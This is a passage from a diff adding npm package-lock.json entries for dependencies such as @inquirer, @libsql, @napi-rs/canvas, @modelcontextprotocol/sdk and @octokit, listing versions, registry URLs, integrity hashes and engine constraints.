"sha512-QoRB4wFIjgH5iOhSjoIKMkTvSHDuV+O3OITlIqAYO0oK5x364GJILXiMBvlPiE+klg7Xx9tq5XVqQHcGUDYYPA==", + "license": "MIT", + "optional": true, + "dependencies": { + "@inquirer/checkbox": "^5.2.5", + "@inquirer/confirm": "^6.3.2", + "@inquirer/editor": "^5.3.3", + "@inquirer/expand": "^5.1.5", + "@inquirer/input": "^5.1.6", + "@inquirer/number": "^4.2.3", + "@inquirer/password": "^5.2.2", + "@inquirer/rawlist": "^5.3.5", + "@inquirer/search": "^4.3.3", + "@inquirer/select": "^5.2.5" + }, + "engines": { + "node": ">=23.5.0 || ^22.13.0 || ^20.17.0" + }, + "peerDependencies": { + "@types/node": ">=18" + }, + "peerDependenciesMeta": { + "@types/node": { + "optional": true + } + } + }, + "node_modules/@inquirer/rawlist": { + "version": "5.3.5", + "resolved": "https://registry.npmjs.org/@inquirer/rawlist/-/rawlist-5.3.5.tgz", + "integrity": "sha512-1oHky1ONfCOwNrnkQGDE1oaSij/3fI6HFMSf2H/WsGO2lEyDX9My82iggITSy9ddSZ8yk8j9v41OI0fVoSIoaA==", + "license": "MIT", + "optional": true, + "dependencies": { + "@inquirer/core": "^12.0.3", + "@inquirer/type": "4.1.1" + }, + "engines": { + "node": ">=23.5.0 || ^22.13.0 || ^20.17.0" + }, + "peerDependencies": { + "@types/node": ">=18" + }, + "peerDependenciesMeta": { + "@types/node": { + "optional": true + } + } + }, + "node_modules/@inquirer/search": { + "version": "4.3.3", + "resolved": "https://registry.npmjs.org/@inquirer/search/-/search-4.3.3.tgz", + "integrity": "sha512-fyuIU1Nbpvwlikjg3gXwJFDI11+EFjqQ7P+iByfmivIKQ1vmaykNrD/vy5unHuUqUpsOsnvJ25//tPF7E/RBRA==", + "license": "MIT", + "dependencies": { + "@inquirer/core": "^12.0.3", + "@inquirer/figures": "^2.0.9", + "@inquirer/type": "4.1.1" + }, + "engines": { + "node": ">=23.5.0 || ^22.13.0 || ^20.17.0" + }, + "peerDependencies": { + "@types/node": ">=18" + }, + "peerDependenciesMeta": { + "@types/node": { + "optional": true + } + } + }, + "node_modules/@inquirer/select": { + "version": "5.2.5", + "resolved": "https://registry.npmjs.org/@inquirer/select/-/select-5.2.5.tgz", + "integrity": "sha512-9kc15hr8r/kI+3DO/xLog5nOzTz1jqsHXa6JBFzmQKhkoJ8Slda1I1L/uD8ZSZ9tF1yp79wwXe7mclvX1rqR2Q==", + "license": "MIT", + "dependencies": { + "@inquirer/ansi": "^2.0.8", + "@inquirer/core": "^12.0.3", + "@inquirer/figures": "^2.0.9", + "@inquirer/type": "4.1.1" + }, + "engines": { + "node": ">=23.5.0 || ^22.13.0 || ^20.17.0" + }, + "peerDependencies": { + "@types/node": ">=18" + }, + "peerDependenciesMeta": { + "@types/node": { + "optional": true + } + } + }, + "node_modules/@inquirer/type": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/@inquirer/type/-/type-4.1.1.tgz", + "integrity": "sha512-yJoHYrMnxIsJZCY+0Vb66Dy3he3kL3e2wOBKhoSwWWAzZAY82emlxwgprCtp6yRixvNRNq9ztfRWQYPNr3Go7A==", + "license": "MIT", + "engines": { + "node": ">=23.5.0 || ^22.13.0 || ^20.17.0" + }, + "peerDependencies": { + "@types/node": ">=18" + }, + "peerDependenciesMeta": { + "@types/node": { + "optional": true + } + } + }, + "node_modules/@isaacs/cliui": { + "version": "8.0.2", + "resolved": "https://registry.npmjs.org/@isaacs/cliui/-/cliui-8.0.2.tgz", + "integrity": "sha512-O8jcjabXaleOG9DQ0+ARXWZBTfnP4WNAqzuiJK7ll44AmxGKv/J2M4TPjxjY3znBCfvBXFzucm1twdyFybFqEA==", + "license": "ISC", + "optional": true, + "dependencies": { + "string-width": "^5.1.2", + "string-width-cjs": "npm:string-width@^4.2.0", + "strip-ansi": "^7.0.1", + "strip-ansi-cjs": "npm:strip-ansi@^6.0.1", + "wrap-ansi": "^8.1.0", + "wrap-ansi-cjs": "npm:wrap-ansi@^7.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/@isaacs/cliui/node_modules/ansi-regex": { + "version": "6.4.0", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.4.0.tgz", + "integrity": "sha512-KzTVk2tCWAHtYrvvvaP8bJKJq2pVinhLcGEQdtLIYPbmNGNyYe8QwNaTUYQp2J7/vIsUKt5QCqAfUkYyG9DkOw==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/ansi-regex?sponsor=1" + } + }, + "node_modules/@isaacs/cliui/node_modules/emoji-regex": { + "version": "9.2.2", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-9.2.2.tgz", + "integrity": "sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg==", + "license": "MIT", + "optional": true + }, + "node_modules/@isaacs/cliui/node_modules/string-width": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-5.1.2.tgz", + "integrity": "sha512-HnLOCR3vjcY8beoNLtcjZ5/nxn2afmME6lhrDrebokqMap+XbeW8n9TXpPDOqdGK5qcI3oT0GKTW6wC7EMiVqA==", + "license": "MIT", + "optional": true, + "dependencies": { + "eastasianwidth": "^0.2.0", + "emoji-regex": "^9.2.2", + "strip-ansi": "^7.0.1" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/@isaacs/cliui/node_modules/strip-ansi": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.2.0.tgz", + "integrity": "sha512-yDPMNjp4WyfYBkHnjIRLfca1i6KMyGCtsVgoKe/z1+6vukgaENdgGBZt+ZmKPc4gavvEZ5OgHfHdrazhgNyG7w==", + "license": "MIT", + "optional": true, + "dependencies": { + "ansi-regex": "^6.2.2" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/strip-ansi?sponsor=1" + } + }, + "node_modules/@isaacs/cliui/node_modules/wrap-ansi": { + "version": "8.1.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-8.1.0.tgz", + "integrity": "sha512-si7QWI6zUMq56bESFvagtmzMdGOtoxfR+Sez11Mobfc7tm+VkUckk9bW2UeffTGVUbOksxmSw0AA2gs8g71NCQ==", + "license": "MIT", + "optional": true, + "dependencies": { + "ansi-styles": "^6.1.0", + "string-width": "^5.0.1", + "strip-ansi": "^7.0.1" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/wrap-ansi?sponsor=1" + } + }, + "node_modules/@keyv/serialize": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/@keyv/serialize/-/serialize-1.1.1.tgz", + "integrity": "sha512-dXn3FZhPv0US+7dtJsIi2R+c7qWYiReoEh5zUntWCf4oSpMNib8FDhSoed6m3QyZdx5hK7iLFkYk3rNxwt8vTA==", + "license": "MIT" + }, + "node_modules/@kwsites/file-exists": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/@kwsites/file-exists/-/file-exists-1.1.1.tgz", + "integrity": "sha512-m9/5YGR18lIwxSFDwfE3oA7bWuq9kdau6ugN4H2rJeyhFQZcG9AgSHkQtSD15a8WvTgfz9aikZMrKPHvbpqFiw==", + "license": "MIT", + "dependencies": { + "debug": "^4.1.1" + } + }, + "node_modules/@kwsites/promise-deferred": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/@kwsites/promise-deferred/-/promise-deferred-1.1.1.tgz", + "integrity": "sha512-GaHYm+c0O9MjZRu0ongGBRbinu8gVAMd2UZjji6jVmqKtZluZnptXGWhz1E8j8D2HJ3f/yMxKAUC0b+57wncIw==", + "license": "MIT" + }, + "node_modules/@langfuse/client": { + "version": "5.11.1", + "resolved": "https://registry.npmjs.org/@langfuse/client/-/client-5.11.1.tgz", + "integrity": "sha512-8xqjQKAo9TKSSgclnphdforUTDY8H3lv6Cf/yq2q6STkG8fmIV8AxJWm27/AI9XVodtQPYjj8jKWt55qgGqqCg==", + "license": "MIT", + "optional": true, + "dependencies": { + "@langfuse/core": "^5.11.1", + "@langfuse/tracing": "^5.11.1", + "mustache": "^4.2.0" + }, + "peerDependencies": { + "@opentelemetry/api": "^1.9.0" + } + }, + "node_modules/@langfuse/core": { + "version": "5.11.1", + "resolved": "https://registry.npmjs.org/@langfuse/core/-/core-5.11.1.tgz", + "integrity": "sha512-Oor1z4BlgI5RaUrRYYKf3ijyCAx0tiGCWsABzfm6ZDAgbaaFuiwvJVtXGohiq5evcnjGGE5h4Mf4ZjH1yd5vjw==", + "license": "MIT", + "optional": true, + "peerDependencies": { + "@opentelemetry/api": "^1.9.0" + } + }, + "node_modules/@langfuse/tracing": { + "version": "5.11.1", + "resolved": "https://registry.npmjs.org/@langfuse/tracing/-/tracing-5.11.1.tgz", + "integrity": "sha512-5lT0VhKSI3P5z3jylAE7Qf+V6GJ6IT0TZhvAQdU5bP0oUx2kRoXcnpdxwqEr7NdKIzaAPiN9E08ehO9wk/8xTA==", + "license": "MIT", + "optional": true, + "dependencies": { + "@langfuse/core": "^5.11.1" + }, + "engines": { + "node": ">=20" + }, + "peerDependencies": { + "@opentelemetry/api": "^1.9.0" + } + }, + "node_modules/@libsql/client": { + "version": "0.18.0", + "resolved": "https://registry.npmjs.org/@libsql/client/-/client-0.18.0.tgz", + "integrity": "sha512-zMCCo58vv7w27j7+cnt/GW+X6/Rih6cHZ86PKi0AxCMOqMfrVgG9OZ5lW2bDMJhSeOjsv2szH2nJF3A9l36UmA==", + "license": "MIT", + "dependencies": { + "@libsql/core": "^0.18.0", + "@libsql/hrana-client": "^0.10.0", + "js-base64": "^3.7.5", + "libsql": "^0.5.28", + "promise-limit": "^2.7.0" + } + }, + "node_modules/@libsql/core": { + "version": "0.18.0", + "resolved": "https://registry.npmjs.org/@libsql/core/-/core-0.18.0.tgz", + "integrity": "sha512-N8RR2CIpcgtbKZnXs2KVpw2lJQfinUj3I56e7qRDRpK18Hty0Rr8nr00VmFb4R/DsqOanPB/TaP3+QAQLZeXMg==", + "license": "MIT", + "dependencies": { + "js-base64": "^3.7.5" + } + }, + "node_modules/@libsql/darwin-arm64": { + "version": "0.5.29", + "resolved": "https://registry.npmjs.org/@libsql/darwin-arm64/-/darwin-arm64-0.5.29.tgz", + "integrity": "sha512-K+2RIB1OGFPYQbfay48GakLhqf3ArcbHqPFu7EZiaUcRgFcdw8RoltsMyvbj5ix2fY0HV3Q3Ioa/ByvQdaSM0A==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ] + }, + "node_modules/@libsql/darwin-x64": { + "version": "0.5.29", + "resolved": "https://registry.npmjs.org/@libsql/darwin-x64/-/darwin-x64-0.5.29.tgz", + "integrity": "sha512-OtT+KFHsKFy1R5FVadr8FJ2Bb1mghtXTyJkxv0trocq7NuHntSki1eUbxpO5ezJesDvBlqFjnWaYYY516QNLhQ==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ] + }, + "node_modules/@libsql/hrana-client": { + "version": "0.10.0", + "resolved": "https://registry.npmjs.org/@libsql/hrana-client/-/hrana-client-0.10.0.tgz", + "integrity": "sha512-OoA4EMqRAC7kn7V2P6EQqRcpZf2W+AjsNIyCizBg339Tq/aMC7sRnzs3SklderhmQWAqEzvv8A2vhxVmWpkVvw==", + "license": "MIT", + "dependencies": { + "@libsql/isomorphic-ws": "^0.1.5", + "js-base64": "^3.7.5" + } + }, + "node_modules/@libsql/isomorphic-ws": { + "version": "0.1.5", + "resolved": "https://registry.npmjs.org/@libsql/isomorphic-ws/-/isomorphic-ws-0.1.5.tgz", + "integrity": "sha512-DtLWIH29onUYR00i0GlQ3UdcTRC6EP4u9w/h9LxpUZJWRMARk6dQwZ6Jkd+QdwVpuAOrdxt18v0K2uIYR3fwFg==", + "license": "MIT", + "dependencies": { + "@types/ws": "^8.5.4", + "ws": "^8.13.0" + } + }, + "node_modules/@libsql/linux-arm-gnueabihf": { + "version": "0.5.29", + "resolved": "https://registry.npmjs.org/@libsql/linux-arm-gnueabihf/-/linux-arm-gnueabihf-0.5.29.tgz", + "integrity": "sha512-CD4n4zj7SJTHso4nf5cuMoWoMSS7asn5hHygsDuhRl8jjjCTT3yE+xdUvI4J7zsyb53VO5ISh4cwwOtf6k2UhQ==", + "cpu": [ + "arm" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@libsql/linux-arm-musleabihf": { + "version": "0.5.29", + "resolved": "https://registry.npmjs.org/@libsql/linux-arm-musleabihf/-/linux-arm-musleabihf-0.5.29.tgz", + "integrity": "sha512-2Z9qBVpEJV7OeflzIR3+l5yAd4uTOLxklScYTwpZnkm2vDSGlC1PRlueLaufc4EFITkLKXK2MWBpexuNJfMVcg==", + "cpu": [ + "arm" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@libsql/linux-arm64-gnu": { + "version": "0.5.29", + "resolved": "https://registry.npmjs.org/@libsql/linux-arm64-gnu/-/linux-arm64-gnu-0.5.29.tgz", + "integrity": "sha512-gURBqaiXIGGwFNEaUj8Ldk7Hps4STtG+31aEidCk5evMMdtsdfL3HPCpvys+ZF/tkOs2MWlRWoSq7SOuCE9k3w==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@libsql/linux-arm64-musl": { + "version": "0.5.29", + "resolved": "https://registry.npmjs.org/@libsql/linux-arm64-musl/-/linux-arm64-musl-0.5.29.tgz", + "integrity": "sha512-fwgYZ0H8mUkyVqXZHF3mT/92iIh1N94Owi/f66cPVNsk9BdGKq5gVpoKO+7UxaNzuEH1roJp2QEwsCZMvBLpqg==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@libsql/linux-x64-gnu": { + "version": "0.5.29", + "resolved": "https://registry.npmjs.org/@libsql/linux-x64-gnu/-/linux-x64-gnu-0.5.29.tgz", + "integrity": "sha512-y14V0vY0nmMC6G0pHeJcEarcnGU2H6cm21ZceRkacWHvQAEhAG0latQkCtoS2njFOXiYIg+JYPfAoWKbi82rkg==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@libsql/linux-x64-musl": { + "version": "0.5.29", + "resolved": "https://registry.npmjs.org/@libsql/linux-x64-musl/-/linux-x64-musl-0.5.29.tgz", + "integrity": "sha512-gquqwA/39tH4pFl+J9n3SOMSymjX+6kZ3kWgY3b94nXFTwac9bnFNMffIomgvlFaC4ArVqMnOZD3nuJ3H3VO1w==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@libsql/win32-x64-msvc": { + "version": "0.5.29", + "resolved": "https://registry.npmjs.org/@libsql/win32-x64-msvc/-/win32-x64-msvc-0.5.29.tgz", + "integrity": "sha512-4/0CvEdhi6+KjMxMaVbFM2n2Z44escBRoEYpR+gZg64DdetzGnYm8mcNLcoySaDJZNaBd6wz5DNdgRmcI4hXcg==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@linear/sdk": { + "version": "95.0.0", + "resolved": "https://registry.npmjs.org/@linear/sdk/-/sdk-95.0.0.tgz", + "integrity": "sha512-lZsAJeqWdrWna3/qiv3Xc3pdNyB0TcwHraqEX8oudlUPQqcdnccWm+xCPK4RUB5G8XVGcsrV67VFIVmyiFymGw==", + "license": "MIT", + "optional": true, + "dependencies": { + "@graphql-typed-document-node/core": "^3.2.0" + }, + "engines": { + "node": ">=18.x" + } + }, + "node_modules/@modelcontextprotocol/sdk": { + "version": "1.30.1", + "resolved": "https://registry.npmjs.org/@modelcontextprotocol/sdk/-/sdk-1.30.1.tgz", + "integrity": "sha512-H2HxLvC3HDNybePJaLdSrU1hhUK5iQw+WvV1b01myFyI7sdVGe1u/IPTE5D9fGCiJDVtgMV/lmFkQXLmQyIFYA==", + "license": "MIT", + "optional": true, + "dependencies": { + "@hono/node-server": "^1.19.9 || ^2.0.5", + "ajv": "^8.17.1", + "ajv-formats": "^3.0.1", + "content-type": "^1.0.5", + "cors": "^2.8.5", + "cross-spawn": "^7.0.5", + "eventsource": "^3.0.2", + "eventsource-parser": "^3.0.0", + "express": "^5.2.1", + "express-rate-limit": "^8.2.1", + "hono": "^4.11.4", + "jose": "^6.1.3", + "json-schema-typed": "^8.0.2", + "pkce-challenge": "^5.0.0", + "raw-body": "^3.0.0", + "zod": "^3.25 || ^4.0", + "zod-to-json-schema": "^3.25.1" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "@cfworker/json-schema": "^4.1.1", + "zod": "^3.25 || ^4.0" + }, + "peerDependenciesMeta": { + "@cfworker/json-schema": { + "optional": true + }, + "zod": { + "optional": false + } + } + }, + "node_modules/@modelcontextprotocol/sdk/node_modules/eventsource-parser": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/eventsource-parser/-/eventsource-parser-3.1.1.tgz", + "integrity": "sha512-EKN1vKAMcZ8MlYMpaNuxN6R9yakzH6uajHcHVTqWJzvu5pWw9DyhbP35HH8MVBQ+dZjAfDxk+A8NiR9KWaXiyQ==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@modelcontextprotocol/server": { + "version": "2.0.0-alpha.4", + "resolved": "https://registry.npmjs.org/@modelcontextprotocol/server/-/server-2.0.0-alpha.4.tgz", + "integrity": "sha512-/KEo3ZJ50HlagHp0lz2vPgfBZFtXHu6zTBXT9XqPc+4O9i4+IbBVWKq/a9yAfv/ifp0u3+mRo8SUk5kMKzhN8A==", + "license": "MIT", + "optional": true, + "dependencies": { + "zod": "^4.2.0" + }, + "engines": { + "node": ">=20" + } + }, + "node_modules/@mongodb-js/saslprep": { + "version": "1.5.4", + "resolved": "https://registry.npmjs.org/@mongodb-js/saslprep/-/saslprep-1.5.4.tgz", + "integrity": "sha512-05UC0jQsjKAOuXQ0H9Ud9vUTJpZIg+n/FinpR30tI5I8pY2inTfPOZ5OF/cg3Ce/N9MoD1xhRCeOsJtuTbFYlw==", + "license": "MIT", + "optional": true, + "dependencies": { + "sparse-bitfield": "^3.0.3" + } + }, + "node_modules/@msgpack/msgpack": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/@msgpack/msgpack/-/msgpack-3.1.3.tgz", + "integrity": "sha512-47XIizs9XZXvuJgoaJUIE2lFoID8ugvc0jzSHP+Ptfk8nTbnR8g788wv48N03Kx0UkAv559HWRQ3yzOgzlRNUA==", + "license": "ISC", + "optional": true, + "engines": { + "node": ">= 18" + } + }, + "node_modules/@napi-rs/canvas": { + "version": "0.1.80", + "resolved": "https://registry.npmjs.org/@napi-rs/canvas/-/canvas-0.1.80.tgz", + "integrity": "sha512-DxuT1ClnIPts1kQx8FBmkk4BQDTfI5kIzywAaMjQSXfNnra5UFU9PwurXrl+Je3bJ6BGsp/zmshVVFbCmyI+ww==", + "license": "MIT", + "optional": true, + "workspaces": [ + "e2e/*" + ], + "engines": { + "node": ">= 10" + }, + "optionalDependencies": { + "@napi-rs/canvas-android-arm64": "0.1.80", + "@napi-rs/canvas-darwin-arm64": "0.1.80", + "@napi-rs/canvas-darwin-x64": "0.1.80", + "@napi-rs/canvas-linux-arm-gnueabihf": "0.1.80", + "@napi-rs/canvas-linux-arm64-gnu": "0.1.80", + "@napi-rs/canvas-linux-arm64-musl": "0.1.80", + "@napi-rs/canvas-linux-riscv64-gnu": "0.1.80", + "@napi-rs/canvas-linux-x64-gnu": "0.1.80", + "@napi-rs/canvas-linux-x64-musl": "0.1.80", + "@napi-rs/canvas-win32-x64-msvc": "0.1.80" + } + }, + "node_modules/@napi-rs/canvas-android-arm64": { + "version": "0.1.80", + "resolved": "https://registry.npmjs.org/@napi-rs/canvas-android-arm64/-/canvas-android-arm64-0.1.80.tgz", + "integrity": "sha512-sk7xhN/MoXeuExlggf91pNziBxLPVUqF2CAVnB57KLG/pz7+U5TKG8eXdc3pm0d7Od0WreB6ZKLj37sX9muGOQ==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@napi-rs/canvas-darwin-arm64": { + "version": "0.1.80", + "resolved": "https://registry.npmjs.org/@napi-rs/canvas-darwin-arm64/-/canvas-darwin-arm64-0.1.80.tgz", + "integrity": "sha512-O64APRTXRUiAz0P8gErkfEr3lipLJgM6pjATwavZ22ebhjYl/SUbpgM0xcWPQBNMP1n29afAC/Us5PX1vg+JNQ==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@napi-rs/canvas-darwin-x64": { + "version": "0.1.80", + "resolved": "https://registry.npmjs.org/@napi-rs/canvas-darwin-x64/-/canvas-darwin-x64-0.1.80.tgz", + "integrity": "sha512-FqqSU7qFce0Cp3pwnTjVkKjjOtxMqRe6lmINxpIZYaZNnVI0H5FtsaraZJ36SiTHNjZlUB69/HhxNDT1Aaa9vA==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@napi-rs/canvas-linux-arm-gnueabihf": { + "version": "0.1.80", + "resolved": "https://registry.npmjs.org/@napi-rs/canvas-linux-arm-gnueabihf/-/canvas-linux-arm-gnueabihf-0.1.80.tgz", + "integrity": "sha512-eyWz0ddBDQc7/JbAtY4OtZ5SpK8tR4JsCYEZjCE3dI8pqoWUC8oMwYSBGCYfsx2w47cQgQCgMVRVTFiiO38hHQ==", + "cpu": [ + "arm" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@napi-rs/canvas-linux-arm64-gnu": { + "version": "0.1.80", + "resolved": "https://registry.npmjs.org/@napi-rs/canvas-linux-arm64-gnu/-/canvas-linux-arm64-gnu-0.1.80.tgz", + "integrity": "sha512-qwA63t8A86bnxhuA/GwOkK3jvb+XTQaTiVML0vAWoHyoZYTjNs7BzoOONDgTnNtr8/yHrq64XXzUoLqDzU+Uuw==", + "cpu": [ + "arm64" + ], + "libc": [ + "glibc" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@napi-rs/canvas-linux-arm64-musl": { + "version": "0.1.80", + "resolved": "https://registry.npmjs.org/@napi-rs/canvas-linux-arm64-musl/-/canvas-linux-arm64-musl-0.1.80.tgz", + "integrity": "sha512-1XbCOz/ymhj24lFaIXtWnwv/6eFHXDrjP0jYkc6iHQ9q8oXKzUX1Lc6bu+wuGiLhGh2GS/2JlfORC5ZcXimRcg==", + "cpu": [ + "arm64" + ], + "libc": [ + "musl" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@napi-rs/canvas-linux-riscv64-gnu": { + "version": "0.1.80", + "resolved": "https://registry.npmjs.org/@napi-rs/canvas-linux-riscv64-gnu/-/canvas-linux-riscv64-gnu-0.1.80.tgz", + "integrity": "sha512-XTzR125w5ZMs0lJcxRlS1K3P5RaZ9RmUsPtd1uGt+EfDyYMu4c6SEROYsxyatbbu/2+lPe7MPHOO/0a0x7L/gw==", + "cpu": [ + "riscv64" + ], + "libc": [ + "glibc" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@napi-rs/canvas-linux-x64-gnu": { + "version": "0.1.80", + "resolved": "https://registry.npmjs.org/@napi-rs/canvas-linux-x64-gnu/-/canvas-linux-x64-gnu-0.1.80.tgz", + "integrity": "sha512-BeXAmhKg1kX3UCrJsYbdQd3hIMDH/K6HnP/pG2LuITaXhXBiNdh//TVVVVCBbJzVQaV5gK/4ZOCMrQW9mvuTqA==", + "cpu": [ + "x64" + ], + "libc": [ + "glibc" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@napi-rs/canvas-linux-x64-musl": { + "version": "0.1.80", + "resolved": "https://registry.npmjs.org/@napi-rs/canvas-linux-x64-musl/-/canvas-linux-x64-musl-0.1.80.tgz", + "integrity": "sha512-x0XvZWdHbkgdgucJsRxprX/4o4sEed7qo9rCQA9ugiS9qE2QvP0RIiEugtZhfLH3cyI+jIRFJHV4Fuz+1BHHMg==", + "cpu": [ + "x64" + ], + "libc": [ + "musl" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@napi-rs/canvas-win32-arm64-msvc": { + "version": "1.0.9", + "resolved": "https://registry.npmjs.org/@napi-rs/canvas-win32-arm64-msvc/-/canvas-win32-arm64-msvc-1.0.9.tgz", + "integrity": "sha512-yjmVS3ArZeRVCP7jqbPq4rpZa/BhTeI7ELE2XqJg3snICQBDevLZyArxswHkiTnT34KRic33/4fLirrHI+SY8A==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">= 10" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/Brooooooklyn" + } + }, + "node_modules/@napi-rs/canvas-win32-x64-msvc": { + "version": "0.1.80", + "resolved": "https://registry.npmjs.org/@napi-rs/canvas-win32-x64-msvc/-/canvas-win32-x64-msvc-0.1.80.tgz", + "integrity": "sha512-Z8jPsM6df5V8B1HrCHB05+bDiCxjE9QA//3YrkKIdVDEwn5RKaqOxCJDRJkl48cJbylcrJbW4HxZbTte8juuPg==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@neon-rs/load": { + "version": "0.0.4", + "resolved": "https://registry.npmjs.org/@neon-rs/load/-/load-0.0.4.tgz", + "integrity": "sha512-kTPhdZyTQxB+2wpiRcFWrDcejc4JI6tkPuS7UZCG4l6Zvc5kU/gGQ/ozvHTh1XR5tS+UlfAfGuPajjzQjCiHCw==", + "license": "MIT" + }, + "node_modules/@nodable/entities": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/@nodable/entities/-/entities-3.0.0.tgz", + "integrity": "sha512-8L9xFeTYKhm49xfIypoe2W5wV1m/3Z58kT+7kR9A8OyFxcPduI4VmxaUMQyKYrRjUoLLSXv6EKKID5Tvj9cUVw==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/nodable" + } + ], + "license": "MIT" + }, + "node_modules/@octokit/auth-token": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/@octokit/auth-token/-/auth-token-6.0.0.tgz", + "integrity": "sha512-P4YJBPdPSpWTQ1NU4XYdvHvXJJDxM6YwpS0FZHRgP7YFkdVxsWcpWGy/NVqlAA7PcPCnMacXlRm1y2PFZRWL/w==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">= 20" + } + }, + "node_modules/@octokit/core": { + "version": "7.0.8", + "resolved": "https://registry.npmjs.org/@octokit/core/-/core-7.0.8.tgz", + "integrity": "sha512-L7y8eYc+AwxGr2PWI4WFt1VG4TiJ66c26BD16mXpYIlXxG0SMigM1+m4aTSlYyBr5BlQsGAlz8uDCoZN4SEMcg==", + "license": "MIT", + "optional": true, + "dependencies": { + "@octokit/auth-token": "^6.0.0", + "@octokit/graphql": "^9.0.5", + "@octokit/request": "^10.0.16", + "@octokit/request-error": "^7.1.2", + "@octokit/types": "^18.0.0", + "before-after-hook": "^4.0.0", + "universal-user-agent": "^7.0.0" + }, + "engines": { + "node": ">= 20" + } + }, + "node_modules/@octokit/endpoint": { + "version": "11.0.5", + "resolved": "https://registry.npmjs.org/@octokit/endpoint/-/endpoint-11.0.5.tgz", + "integrity": "sha512-iXa654H3yFafF/ieHkukfbgWo2rmXD2ceD0ZOtrPhw1bc3FDch1d9N/TNs0FQ1/cIbwb7kspUX8jzIs8nzb9DQ==", + "license": "MIT", + "optional": true, + "dependencies": { + "@octokit/types": "^18.0.0", + "universal-user-agent": "^7.0.2" + }, + "engines": { + "node": ">= 20" + } + }, + "node_modules/@octokit/graphql": { + "version": "9.0.5", + "resolved": "https://registry.npmjs.org/@octokit/graphql/-/graphql-9.0.5.tgz", + "integrity": "sha512-bt/hm03LeU6Vy7FwTrkkC9p3XGT/lBwClglMqxBSe5/q0E5CdJTXeAqEI0vlw89/LF/G6tryTIH8HirZ3prMVg==", + "license": "MIT", + "optional": true, + "dependencies": { + "@octokit/request": "^10.0.16", + "@octokit/types": "^18.0.0", + "universal-user-agent": "^7.0.0" + }, + "engines": { + "node": ">= 20" + } + }, + "node_modules/@octokit/openapi-types": { + "version": "29.0.1", + "resolved": "https://registry.npmjs.org/@octokit/openapi-types/-/openapi-types-29.0.1.tgz", + "integrity": "sha512-9qWOMFNxxLokERcms42rU0PTLqQmVs7g5E41TI4mCOxmpFayD1rfC7XxOL55cG9MBZLFlC31BrR37myMKardwg==", + "license": "MIT", + "optional": true + }, + "node_modules/@octokit/request": { + "version": "10.0.16", + "resolved": "https://registry.npmjs.org/@octokit/request/-/request-10.0.16.tgz", + "integrity": "sha512-A0zWGjHzISIb+9ccG8s0dq7LKO5zVpJLRICjgUb+sJxEWqn8RUHB1rD3AE51+PECvXHIxqZ1VVvs4fHTSD9nUQ==", + "license": "MIT", + "optional": true, + 